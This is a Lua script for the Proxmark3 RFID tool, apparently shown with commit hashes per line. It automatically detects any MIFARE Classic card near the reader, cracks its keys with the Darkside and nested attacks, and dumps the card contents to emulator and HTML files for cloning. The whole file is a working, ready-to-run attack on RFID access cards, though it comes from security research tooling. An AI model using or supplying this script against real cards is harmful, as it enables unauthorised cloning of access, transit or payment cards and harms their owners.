0dae56d8 |
1 | local getopt = require('getopt') |
2 | local reader = require('read14a') |
3 | local cmds = require('commands') |
4 | |
5 | example = "script run mifare_autopwn" |
6 | author = "Martin Holst Swende" |
7 | |
8 | |
9 | desc = |
10 | [[ |
7779d73c |
11 | This is a script which automates cracking and dumping mifare classic cards. It sets itself into |
0dae56d8 |
12 | 'listening'-mode, after which it cracks and dumps any mifare classic card that you |
13 | place by the device. |
14 | |
15 | Arguments: |
16 | -d debug logging on |
17 | -h this help |
18 | |
19 | Output files from this operation: |
20 | <uid>.eml - emulator file |
21 | <uid>.html - html file containing card data |
22 | dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes. |
23 | dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. |
24 | |
25 | ]] |
26 | |
27 | ------------------------------- |
28 | -- Some utilities |
29 | ------------------------------- |
30 | local DEBUG = false |
31 | --- |
32 | -- A debug printout-function |
33 | function dbg(args) |
34 | if DEBUG then |
35 | print(":: ", args) |
36 | end |
37 | end |
38 | --- |
39 | -- This is only meant to be used when errors occur |
40 | function oops(err) |
41 | print("ERROR: ",err) |
42 | return nil,err |
43 | end |
44 | |
45 | --- |
46 | -- Usage help |
47 | function help() |
48 | print(desc) |
49 | print("Example usage") |
50 | print(example) |
51 | end |
52 | |
53 | --- |
54 | -- Waits for a mifare card to be placed within the vicinity of the reader. |
55 | -- @return if successfull: an table containing card info |
56 | -- @return if unsuccessfull : nil, error |
57 | function wait_for_mifare() |
58 | while not core.ukbhit() do |
e98389b3 |
59 | res, err = reader.read14443a(false, true) |
0dae56d8 |
60 | if res then return res end |
61 | -- err means that there was no response from card |
62 | end |
63 | return nil, "Aborted by user" |
64 | end |
65 | |
51defdd4 |
66 | function nested(key,sak) |
67 | local typ = 1 |
68 | if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k |
69 | typ = 4 |
70 | elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k |
71 | typ= 1 |
72 | elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k |
73 | typ = 0 |
74 | elseif 0x10 == sak then-- "NXP MIFARE Plus 2k" |
75 | typ = 2 |
9484ff3d |
76 | elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K" |
77 | typ = 1 |
51defdd4 |
78 | else |
79 | print("I don't know how many sectors there are on this type of card, defaulting to 16") |
80 | end |
81 | local cmd = string.format("hf mf nested %d 0 A %s d",typ,key) |
0dae56d8 |
82 | core.console(cmd) |
83 | end |
84 | |
85 | function dump(uid) |
86 | core.console("hf mf dump") |
87 | -- Save the global args, those are *our* arguments |
88 | local myargs = args |
89 | -- Set the arguments for htmldump script |
90 | args =("-o %s.html"):format(uid) |
91 | -- call it |
92 | require('../scripts/htmldump') |
93 | |
94 | args ="" |
95 | -- dump to emulator |
96 | require('../scripts/dumptoemul') |
97 | -- Set back args. Not that it's used, just for the karma... |
98 | args = myargs |
99 | end |
100 | |
101 | --- |
102 | -- The main entry point |
103 | function main(args) |
104 | |
105 | |
51defdd4 |
106 | local verbose, exit,res,uid,err,_,sak |
0dae56d8 |
107 | local seen_uids = {} |
108 | |
109 | -- Read the parameters |
110 | for o, a in getopt.getopt(args, 'hd') do |
111 | if o == "h" then help() return end |
112 | if o == "d" then DEBUG = true end |
113 | end |
114 | |
115 | while not exit do |
116 | res, err = wait_for_mifare() |
117 | if err then return oops(err) end |
118 | -- Seen already? |
119 | uid = res.uid |
51defdd4 |
120 | sak = res.sak |
0dae56d8 |
121 | if not seen_uids[uid] then |
122 | -- Store it |
123 | seen_uids[uid] = uid |
124 | print("Card found, commencing crack", uid) |
125 | -- Crack it |
126 | local key, cnt |
7779d73c |
127 | err, res = core.mfDarkside() |
128 | if err == -1 then return oops("Button pressed. Aborted.") |
129 | elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).") |
130 | elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).") |
131 | elseif err == -4 then return oops([[ |
132 | Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown |
133 | generating polynomial with 16 effective bits only, but shows unexpected behaviour.]]) |
134 | elseif err == -5 then return oops("Aborted via keyboard.") |
135 | end |
b9697139 |
136 | -- The key is actually 8 bytes, so a |
137 | -- 6-byte key is sent as 00XXXXXX |
138 | -- This means we unpack it as first |
139 | -- two bytes, then six bytes actual key data |
140 | -- We can discard first and second return values |
141 | _,_,key = bin.unpack("H2H6",res) |
0dae56d8 |
142 | print("Key ", key) |
143 | |
144 | -- Use nested attack |
51defdd4 |
145 | nested(key,sak) |
0dae56d8 |
146 | -- Dump info |
147 | dump(uid) |
148 | end |
149 | end |
150 | end |
151 | |
152 | -- Call the main |
153 | main(args) |